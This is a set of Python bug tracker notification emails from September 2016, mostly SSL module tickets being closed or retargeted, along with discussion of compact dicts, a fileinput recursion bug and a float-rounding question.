In-Reply-To: <1435717778.85.0.15364958143.issue24542@psf.upfronthosting.co.za>
Message-ID: <1473348317.04.0.342470490067.issue24542@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I will provide the option as part of #19500.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> Add client-side SSL session resumption
versions: +Python 3.6, Python 3.7 -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24542>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:25:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:25:40 +0000
Subject: [issue24516] SSL create_default_socket purpose insufficiently
 documented
In-Reply-To: <1435323940.35.0.0347196481189.issue24516@psf.upfronthosting.co.za>
Message-ID: <1473348340.34.0.949548843328.issue24516@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24516>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:26:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:26:50 +0000
Subject: [issue24545] Issue with ssl package
In-Reply-To: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za>
Message-ID: <1473348410.32.0.961168357797.issue24545@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It will be fix in 2.7.13 as part of my OpenSSL 1.1.0 patch.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24545>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:26:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:26:57 +0000
Subject: [issue24334] SSLSocket extra level of indirection
In-Reply-To: <1433018248.44.0.756605302302.issue24334@psf.upfronthosting.co.za>
Message-ID: <1473348417.51.0.140914499308.issue24334@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24334>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:28:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:28:50 +0000
Subject: [issue8106] SSL session management
In-Reply-To: <1268184052.67.0.269640299758.issue8106@psf.upfronthosting.co.za>
Message-ID: <1473348530.75.0.480265743905.issue8106@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm going to implement sessions in #19500.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> Add client-side SSL session resumption
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8106>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:31:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:31:03 +0000
Subject: [issue11943] Add TLS-SRP (RFC 5054) support to ssl, _ssl, http,
 and urllib
In-Reply-To: <1303943331.28.0.343800117154.issue11943@psf.upfronthosting.co.za>
Message-ID: <1473348663.02.0.555279458418.issue11943@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +Extension Modules
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11943>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:31:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:31:32 +0000
Subject: [issue25115] SSL_set_verify_depth not exposed by the ssl module
In-Reply-To: <1442280676.76.0.937947035148.issue25115@psf.upfronthosting.co.za>
Message-ID: <1473348692.24.0.488920424861.issue25115@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25115>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:32:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:32:28 +0000
Subject: [issue23177] test_ssl: failures on OpenBSD with LibreSSL
In-Reply-To: <1420541656.17.0.750310163886.issue23177@psf.upfronthosting.co.za>
Message-ID: <1473348748.53.0.138938727179.issue23177@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have fixed all libressl related test failures while I added support for OpenSSL 1.1.0.

----------
nosy: +christian.heimes
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23177>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:32:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:32:56 +0000
Subject: [issue19084] No way to use TLS-PSK from python ssl
In-Reply-To: <1380036748.95.0.439028811791.issue19084@psf.upfronthosting.co.za>
Message-ID: <1473348776.26.0.567913474985.issue19084@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19084>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:33:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:33:53 +0000
Subject: [issue25674] test_ssl (test_algorithms) failures on bolen-ubuntu
 slaves: sha256.tbs-internet.com unknown host
In-Reply-To: <1447970078.37.0.506919207401.issue25674@psf.upfronthosting.co.za>
Message-ID: <1473348833.92.0.792560859989.issue25674@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> low
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25674>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:36:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:36:07 +0000
Subject: [issue23845] test_ssl: fails on recent libressl with
 SSLV3_ALERT_HANDSHAKE_FAILURE
In-Reply-To: <1427926862.2.0.277939784676.issue23845@psf.upfronthosting.co.za>
Message-ID: <1473348967.25.0.50335251021.issue23845@psf.upfronthosting.co.za>


Christian Heimes added the comment:

SSLv3 is no longer relevant.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23845>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:38:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:38:03 +0000
Subject: [issue25939] _ssl.enum_certificates() fails with ERROR_ACCESS_DENIED
 if python.exe run with low integrity level
In-Reply-To: <1450989628.26.0.849835515988.issue25939@psf.upfronthosting.co.za>
Message-ID: <1473349083.36.0.626559461033.issue25939@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Benjamin, Steve, can we close this ticket?

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25939>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:39:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:39:40 +0000
Subject: [issue24930] test_ssl: try more protocols in test_options()
In-Reply-To: <1440458283.72.0.838708859069.issue24930@psf.upfronthosting.co.za>
Message-ID: <1473349180.24.0.496401228594.issue24930@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This ticket is no longer relevant. All but TLS_METHOD (old name SSLv23_METHOD) have been deprecated by OpenSSL. In the future Python will use auto-negotiation.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24930>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:41:22 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:41:22 +0000
Subject: [issue25852] smtplib's SMTP.connect() should store the server name in
 ._host for .starttls()
In-Reply-To: <1449961162.47.0.978986314472.issue25852@psf.upfronthosting.co.za>
Message-ID: <1473349282.58.0.520937272293.issue25852@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Please provide a more recent patch with a unit test.

----------
nosy: +christian.heimes
stage: patch review -> needs patch
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25852>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:41:53 2016
From: report at bugs.python.org (Eric N. Vander Weele)
Date: Thu, 08 Sep 2016 15:41:53 +0000
Subject: [issue28016] test_fileio fails on AIX
In-Reply-To: <1473323328.73.0.215988699422.issue28016@psf.upfronthosting.co.za>
Message-ID: <1473349313.62.0.874461817631.issue28016@psf.upfronthosting.co.za>


Changes by Eric N. Vander Weele <ericvw at gmail.com>:


----------
nosy: +ericvw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28016>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:42:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:42:10 +0000
Subject: [issue15464] ssl: add set_msg_callback function
In-Reply-To: <1343352856.85.0.212414509347.issue15464@psf.upfronthosting.co.za>
Message-ID: <1473349330.88.0.910212240452.issue15464@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15464>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:42:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:42:23 +0000
Subject: [issue18233] SSLSocket.getpeercertchain()
In-Reply-To: <1371415195.44.0.636993698614.issue18233@psf.upfronthosting.co.za>
Message-ID: <1473349343.61.0.536458744195.issue18233@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18233>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:42:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:42:27 +0000
Subject: [issue18369] X509 cert class for ssl module
In-Reply-To: <1373055037.38.0.259814019718.issue18369@psf.upfronthosting.co.za>
Message-ID: <1473349347.97.0.10893436404.issue18369@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18369>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:43:00 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 15:43:00 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473349380.9.0.274002719161.issue28019@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:43:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:43:49 +0000
Subject: [issue21541] Provide configure option --with-ssl for compilation with
 custom openssl
In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za>
Message-ID: <1473349429.26.0.563576038783.issue21541@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21541>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:45:26 2016
From: report at bugs.python.org (Ned Deily)
Date: Thu, 08 Sep 2016 15:45:26 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473349526.71.0.644047016646.issue26359@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks for the new option.  Perhaps the top-level README should be updated to mention --with-optimizations?

----------
nosy: +ned.deily
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:53:08 2016
From: report at bugs.python.org (Cory Benfield)
Date: Thu, 08 Sep 2016 15:53:08 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473349988.71.0.159360599126.issue28022@psf.upfronthosting.co.za>


Cory Benfield added the comment:

10/10, yes. I will happily provide code review for this.

----------
nosy: +Lukasa

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:08:23 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 16:08:23 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473350903.55.0.510345909601.issue28019@psf.upfronthosting.co.za>


Changes by Marcos Dione <mdione at grulic.org.ar>:


----------
versions: +Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:14:46 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 08 Sep 2016 16:14:46 +0000
Subject: [issue28021] Calculating wrong modulus manually
In-Reply-To: <1473344467.84.0.165725302735.issue28021@psf.upfronthosting.co.za>
Message-ID: <1473351286.36.0.249676322927.issue28021@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

That is because of floating point rounding.

When you calculate a/23, the result is the approximate float 2.659090889061502e+18 instead of the exact integer result 2659090889061502012. Converting to an int gives you a result which is too small:

py> a = 11**19
py> a - (a//23)*23  # calculate modulus with no rounding error
15
py> a - int(a/23)*23  # introduces rounding error
1395
py> a/23
2.659090889061502e+18
py> int(a/23)
2659090889061501952
py> int(a/23) - a//23
-60


By the way, are you aware of the third argument to pow()?

py> pow(11, 19, 23)
15

----------
nosy: +steven.daprano
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28021>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:25:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 16:25:40 +0000
Subject: [issue28023] python-gdb.py must be updated for the new Python 3.6
 compact dict
Message-ID: <1473351940.28.0.277088210884.issue28023@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #27350 changed the design of Python dictionaries to make them compact. python-gdb.py must be updated for the new structure of Python dict.

----------
messages: 275058
nosy: haypo, methane
priority: normal
severity: normal
status: open
title: python-gdb.py must be updated for the new Python 3.6 compact dict
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28023>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:26:36 2016
From: report at bugs.python.org (Jim Jewett)
Date: Thu, 08 Sep 2016 16:26:36 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1473319738.65.0.631343887441.issue27850@psf.upfronthosting.co.za>
Message-ID: <CA+OGgf5HD4-DU781iCgfN_aMYRETrkw8+yG+Tq16O4KSSLO_=g@mail.gmail.com>


Jim Jewett added the comment:

In general,  the rule is that micro versions (such as 3.4.4 to 3.4.5)
should not make any changes that are not clearly bug fixes.  If users would
call the new API (or ABI) differently, it is almost certainly a change that
should be reserved for a development release (3.4 to 3.5).

That said, the two main reasons for exceptions are security  (not an
automatic OK, but at least not an automatic NO) and "no one could possibly
rely on the old behavior", which covers "this wouldn't even compile on this
platform before".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:40:11 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 16:40:11 +0000
Subject: [issue15272] pkgutil.find_loader accepts invalid module names
In-Reply-To: <1341656387.47.0.245292094882.issue15272@psf.upfronthosting.co.za>
Message-ID: <1473352811.84.0.0158067300151.issue15272@psf.upfronthosting.co.za>


Eric Snow added the comment:

pkgutil has since been updated to use importlib, meaning it relies on importlib to sort this out.

----------
components: +Library (Lib)
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed
versions: +Python 3.6 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15272>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:41:58 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 16:41:58 +0000
Subject: [issue27445] Charset instance not passed to set_payload()
In-Reply-To: <1467493987.65.0.715756200587.issue27445@psf.upfronthosting.co.za>
Message-ID: <20160908164155.12514.84804.B6AE1E88@psf.io>


Roundup Robot added the comment:

New changeset 4f6fef83cd0c by Berker Peksag in branch '3.5':
Issue #27445: Don't pass str(_charset) to MIMEText.set_payload()
https://hg.python.org/cpython/rev/4f6fef83cd0c

New changeset c5cb8bd335ae by Berker Peksag in branch 'default':
Issue #27445: Merge from 3.5
https://hg.python.org/cpython/rev/c5cb8bd335ae

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27445>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:43:04 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 16:43:04 +0000
Subject: [issue27445] Charset instance not passed to set_payload()
In-Reply-To: <1467493987.65.0.715756200587.issue27445@psf.upfronthosting.co.za>
Message-ID: <1473352984.35.0.922937944432.issue27445@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch, Claude.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27445>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:43:48 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 16:43:48 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473353028.1.0.365400561435.issue27781@psf.upfronthosting.co.za>


Steve Dower added the comment:

Thanks for that review, Eryk, but I'm going to defer those to other issues (specifically issue27998 for scandir and we should file a new issue for the symlink concerns).

I've got some more doc updates to do though, and then I'll check in if there are no other concerns.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:43:55 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 08 Sep 2016 16:43:55 +0000
Subject: [issue21201] Uninformative error message in multiprocessing.Manager()
In-Reply-To: <1397236820.61.0.692426224091.issue21201@psf.upfronthosting.co.za>
Message-ID: <1473353035.55.0.254340498709.issue21201@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
assignee:  -> davin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21201>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:44:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 16:44:48 +0000
Subject: [issue28023] python-gdb.py must be updated for the new Python 3.6
 compact dict
In-Reply-To: <1473351940.28.0.277088210884.issue28023@psf.upfronthosting.co.za>
Message-ID: <20160908164444.1920.9307.20664861@psf.io>


Roundup Robot added the comment:

New changeset 0bd618fe0639 by Victor Stinner in branch 'default':
Implement compact dict
https://hg.python.org/cpython/rev/0bd618fe0639

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28023>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:44:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 16:44:48 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160908164444.1920.290.D067D7CD@psf.io>


Roundup Robot added the comment:

New changeset 0bd618fe0639 by Victor Stinner in branch 'default':
Implement compact dict
https://hg.python.org/cpython/rev/0bd618fe0639

New changeset 66a539984c9c by Victor Stinner in branch 'default':
Add Py_MEMBER_SIZE macro
https://hg.python.org/cpython/rev/66a539984c9c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:50:56 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 16:50:56 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <1473353456.18.0.783021135835.issue24277@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:59:30 2016
From: report at bugs.python.org (Claude Paroz)
Date: Thu, 08 Sep 2016 16:59:30 +0000
Subject: [issue27445] Charset instance not passed to set_payload()
In-Reply-To: <1467493987.65.0.715756200587.issue27445@psf.upfronthosting.co.za>
Message-ID: <1473353970.88.0.861165178273.issue27445@psf.upfronthosting.co.za>


Claude Paroz added the comment:

Thanks for pushing the patch!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27445>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:02:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 17:02:03 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473354123.97.0.630275723969.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Hi INADA Naoki, we discuss a lot about your compact dict change at the current Python core dev sprint. We *all* want your change in Python 3.6!

I looked at the code and I found some minor issues, but sadly I'm very busy right now with soooo many other topics. I proposed to just push your change *right now* (before Python 3.6 feature freeze, scheduled for this week-end with the first beta) but "polish" the code later. I made a tiny change to not hardcode PyDictKeysObject.dk_indices size (8).

I plan to write more documentations about the implementation and add some assertions, because right now it's quite hard to see the overall picture and understand details. I already started to write some doc locally.

I discussed with Eric Snow about the PEP 468 (preserve keyword ordering). He asked me the remove the sentence from the change, because he is going to rephrase his PEP to replace "OrderedDict" with "ordered mapping" (don't be specific on the type). But technically it's true that compact dict preserves the keyword order, so implement the PEP :-)

I pushed the latest patch using intXX_t types.

I made another change: I skipped test_gdb which failed because python-gdb.py wasn't updated for the new dict: I opened the issue #28023 to try to not forget to do it. I already worked on this file, so I can try to update the gdb plugin.

I also added "_PyDict_Dummy() function has been removed." to the commit message ;-)

Congrats Naoki and thanks!

--

TODO: The compact dict is not documented in What's New in Python 3.6. It would be nice to run some benchmarks and compare the memory usage to give some exciting numbers.

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:12:42 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 17:12:42 +0000
Subject: [issue24337] Implement `http.client.HTTPMessage.__repr__` to make
 debugging easier
In-Reply-To: <1433071409.14.0.465304271938.issue24337@psf.upfronthosting.co.za>
Message-ID: <1473354762.81.0.061377790714.issue24337@psf.upfronthosting.co.za>


R. David Murray added the comment:

I would suggest something like:

  <email.message.Message instance at 0xXXXXXXX with NN headers and MM MIME parts>
  <email.message.Message instance at 0xXXXXXXX with NN headers and MM body lines>

The second case should be rare these days for email, but would (I think?) show 0 body lines for an HTTPMessage.  If I'm right it might actually make sense to have a separate repr for HTTPMessage that omitted the body line count.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24337>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:12:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 17:12:55 +0000
Subject: [issue27853] Add title to examples in importlib docs
In-Reply-To: <1472060226.45.0.838492797903.issue27853@psf.upfronthosting.co.za>
Message-ID: <20160908171251.36224.21894.6239D589@psf.io>


Roundup Robot added the comment:

New changeset a547d43c7258 by Brett Cannon in branch 'default':
Issue #27853: Add section headers to the importlib example docs
https://hg.python.org/cpython/rev/a547d43c7258

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27853>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:13:50 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 17:13:50 +0000
Subject: [issue27853] Add title to examples in importlib docs
In-Reply-To: <1472060226.45.0.838492797903.issue27853@psf.upfronthosting.co.za>
Message-ID: <1473354830.06.0.0134953405474.issue27853@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27853>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:17:00 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 08 Sep 2016 17:17:00 +0000
Subject: [issue21201] Uninformative error message in multiprocessing.Manager()
In-Reply-To: <1397236820.61.0.692426224091.issue21201@psf.upfronthosting.co.za>
Message-ID: <1473355020.94.0.0259248212511.issue21201@psf.upfronthosting.co.za>


Davin Potts added the comment:

Looks good to me as well.  I'll go ahead with applying the patch.

Berker:  I'm not sure it's worth adding something like `util.info("Serialization failure on: %r", msg)`.  If serialization failed for some reason other than MemoryError, we will be communicating the output of format_exc() back to the client.  If serialization failed due to a MemoryError (which has tripped up plenty of people) then our util.info may similarly fail.



Note that with the patch recently applied to issue6766, under 3.6 the second example no longer triggers an exception.  That second example can even continue:
    >>> ns_proxy.my_event_proxy.set()
    >>> ns_proxy.my_event_proxy.is_set()
    True
    >>> evt_proxy.is_set()
    True
    >>> evt_proxy.clear()
    >>> ns_proxy.my_event_proxy.is_set()
    False

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21201>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:23:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 17:23:07 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473355387.18.0.969528363665.issue27350@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Did you test the patch with your superstable benchmarking tools Victor?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:28:36 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 17:28:36 +0000
Subject: [issue23773] importlib does not properly remove frames when invoking
 external import hooks
In-Reply-To: <1427254138.42.0.76544892287.issue23773@psf.upfronthosting.co.za>
Message-ID: <1473355716.74.0.389718221646.issue23773@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
assignee: brett.cannon -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23773>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:30:58 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 08 Sep 2016 17:30:58 +0000
Subject: [issue28024] fileinput causes RecursionErrors when dealing with large
 numbers of empty files
Message-ID: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>


New submission from Josh Rosenberg:

Accidentally discovered this while running code that processes a whole bunch of files, when it turned out the files were empty. The readline method of fileinput.input will make a recursive call to continue processing when it reaches the end of a file. This is fine when files aren't empty, but if you have sufficient (~1000) empty files being processed, this causes recursion errors.

Simple example:

>>> for i in range(10000):
...     with open('test{}'.format(i), 'wb'):
...         pass
...
>>> import fileinput, glob
>>> ''.join(fileinput.input(glob.glob('./test*')))
Traceback ...
... (almost all the levels are showing the self.readline() call at the end of readline) ...
RecursionError: maximum recursion depth exceeded

Admittedly a niche case, but a relatively simple switch from recursion to iteration would solve it. Same problem appears in all versions of Python.

----------
components: Library (Lib)
messages: 275072
nosy: josh.r
priority: normal
severity: normal
status: open
title: fileinput causes RecursionErrors when dealing with large numbers of empty files
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:32:36 2016
From: report at bugs.python.org (Larry Hastings)
Date: Thu, 08 Sep 2016 17:32:36 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473355956.9.0.656479963641.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

I agree completely Jim.  The problem is that OpenSSL regularly discovers face-meltingly bad security bugs, so it frequently pulls the "security exception" lever.

